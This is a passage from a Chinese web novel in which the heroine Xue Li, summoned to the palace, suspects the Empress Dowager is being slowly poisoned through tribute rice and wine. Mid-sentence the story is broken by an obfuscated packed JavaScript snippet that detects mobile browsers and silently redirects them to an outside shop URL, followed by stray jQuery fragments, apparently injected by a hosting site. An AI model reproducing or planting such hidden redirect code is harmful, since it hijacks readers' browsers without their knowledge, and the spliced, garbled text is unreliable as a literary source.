大宋虽盛产汤饮熟水，然大多都是些老法子：冰雪甘草汤、桂花冰酪酥、沙糖菉豆汤、凉水荔枝膏、雪泡豆儿水…… 她若欲将其捣鼓得新颖些，便少不了加上几样现代人常爱吃的小料，好比芋圆、麻薯、仙草、桃胶、布丁以及诸多可口的时果。 有些食材在大宋或许新奇难寻，但好在薛荔向来擅于取近代替，稍换原料，亦能保其美味。 她想得倒是甚美，可还未待她进一步勾画出“薛氏美食”的宏伟蓝图，宫中却突然来了传召的车驾。 来人神色凝重，口中半句缘由也不泄，只言“太后娘娘急召”，急匆匆一马车，便将她送进了寿慈宫中。 气氛整肃，薛荔整程都坐得拘谨，实是百思不得其解，不知太后为何急着见她。 “太后……太后娘娘可是因我有恙？”她忍不住问。 领路的尚宫娘子见她惊吓如此，反倒失笑，柔声道：“郡主不必惊忧，若真如您所言，眼下便不是某领您去见太后了。” 她说着，指尖一指：“而该由皇城司的人带去那处了。” 尚宫娘子所点之处，正是诏狱所在。 薛荔这才稍稍松气，复又追问：“那可是娘娘的麸疾复发？” 尚宫娘子摇头：“自上回郡主妙手调养，娘娘的麸疾早已痊愈。只是近日忽觉头晕骨痛，体乏无力。院首诊言乃是风寒，连开几方汤药，却总是一时见好，旋又复发。娘娘不胜其苦，这才念起郡主，派人匆匆接您入宫来了。” 薛荔入殿后，先给太后请安，又为她诊脉。 静下心来诊断几次，都觉指腹之下，脉象沉涩滞缓。再观其面色，只觉这病症不似是风寒，反倒似是中毒。 只是，这种话岂敢直言？毕竟，若真是中毒，那医官院院首岂能不知？ 只怕此事另有深意。 薛荔忍不住阴谋论起来。 朱漆螺钿的床榻之上，太后面色苍白，神情倦倦，却仍撑着问她：“可诊出来是何病症了？” 薛荔面上不显，只柔声答：“娘娘所染之疾，当正是院首所说的风寒。至于久不见好转，许是饮食方面与药汤有相冲之处，可否让儿家去尚食局细看娘娘的膳食？” 太后无力地一点头，吩咐宫人领她前去。 朱墙围绕，宫巷深深。 途中恰逢一列班直侍卫整装而过，盔甲铮然，肃杀森然。 薛荔瞧着周遭之景，只觉心被紧紧桎梏，呼吸都有些紧张。 她加快脚步追上尚宫娘子，低声问询：“尚宫娘子可知，近来娘娘可熏何香料？若香料不妥，亦会损及贵体。” “这点郡主放心。”尚宫娘子笑回，“早在半月前，娘娘病起时，医宫们便将寿慈宫里外都检查过一遭，香料定然无碍。且娘娘不喜新上的这批香料，早已命人悉数撤去了。” 如此说来，若非香料有异，那居心叵测之人若要下毒，最神不知鬼不觉的方式，便只余下食物了。 俗话亦说，病从口入。 但宫中膳食向来有专人专具负责试毒。 不仅上菜前会以银针试毒，便是太后娘娘用膳时，亦会用银筷、银勺、银碗之类的银器。 要避过这一关，那毒必得是极微之毒，一次检验不出，但人若长久吃下去，日积月渗，便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000731|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会戕身伐命。 如此一来，这有毒之物必是能让太后日日吃着的东西。 薛荔思及此处，步伐不由得更急。 - 尚食局内。 早在为太后调理麸疾时，薛荔便与典膳打过交道，眼下二人见了面，问候过后倒亦不再客套，直奔主题。 薛荔一边环视内物料库，一边问道：“娘娘染疾之前常食何物？” “自上回郡主调理后，太后娘娘便不再食含麦之物，常吃的菜肴多有蟹酿橙、蒸鲥鱼、山家三脆……菜品多变。对了，娘娘的主食亦换成了大米。”典膳说着，又领她到釉缸边，“前段时日，滁州进贡了一批上好贡米，陛下仁孝，听闻太后娘娘改爱吃米食，特命分与寿慈宫许多。” 薛荔吩咐人掀开压缸石板，走近细察着缸中的米，抿了抿唇：“你可觉着，这米的颜色不匀？” 闻言，典膳俯身细看，犹疑道：“或许……是光线的缘故？” 薛荔沉思片刻后道：“可否劳烦典膳取一匹白绸布来？” 虽不知此为何意，但典膳仍照办，忙传宫人去取来一匹白绸。 薛荔寻了一处光线充足之地，把绸布在地上铺开，又将米撒上去。 果不其然，光洁雪白的底布映衬之下，精白米中确实有少许暗色米粒。 情景之相似，让薛荔不由得忆起上回“新陈米”之事来。 若将极少量的有毒之米掺入寻常大米中，粒粒分散，不但常人难以发觉，且银器亦无反应。而太后所用的餐具又时常换新，这样一来，便更难觉察异样。 可若仅此一处有毒，还不足致病如此深重。 薛荔凝神思忖，语气渐沉：“你方才说，这贡米是陛下专给太后娘娘的？” 典膳点头。 “那陛下可还送了别物？” 典膳略思索，又命人取来东西：“还有这进贡的蒲中酒。” 壶盖打开，琥珀光映，薛荔倒出一盏，凑近细嗅，眉心又微微一蹙。 此酒气味虽芳，却似乎夹杂着一股淡淡的苦杏仁味，与侯府所存的同一款酒滋味不尽相同。 典膳这时亦觉察出有些不对，问询起来：“郡主可是觉有何不妥之处？” 薛荔敛容掩去神色，含笑摇头：“娘娘正服汤药，我不过想确认此酒与药性无冲罢了。” 事情未查清楚之前，还是愈少人知晓愈好。 该寻何人来确认呢…… 薛荔灵光一闪，殿前司不就在皇宫之内么？她可以去找齐恂呀！ 她将酒收好，朝典膳盈盈一笑：“光凭气味嗅不出名堂，烦请典膳容我将这壶酒带回，仔细研看一番可好？” 典膳虽疑惑，却也不敢阻拦，只得应下了。 平日里，薛荔多往返于侯府与“第一香”之间，她行事素来随意，为人又无甚架子，与街坊商贩都混得熟透，哪曾真把“郡主”这身份放在心上？ 可今日一脚踏进这殿前司，她可谓是尝尽了这一头衔的甜头。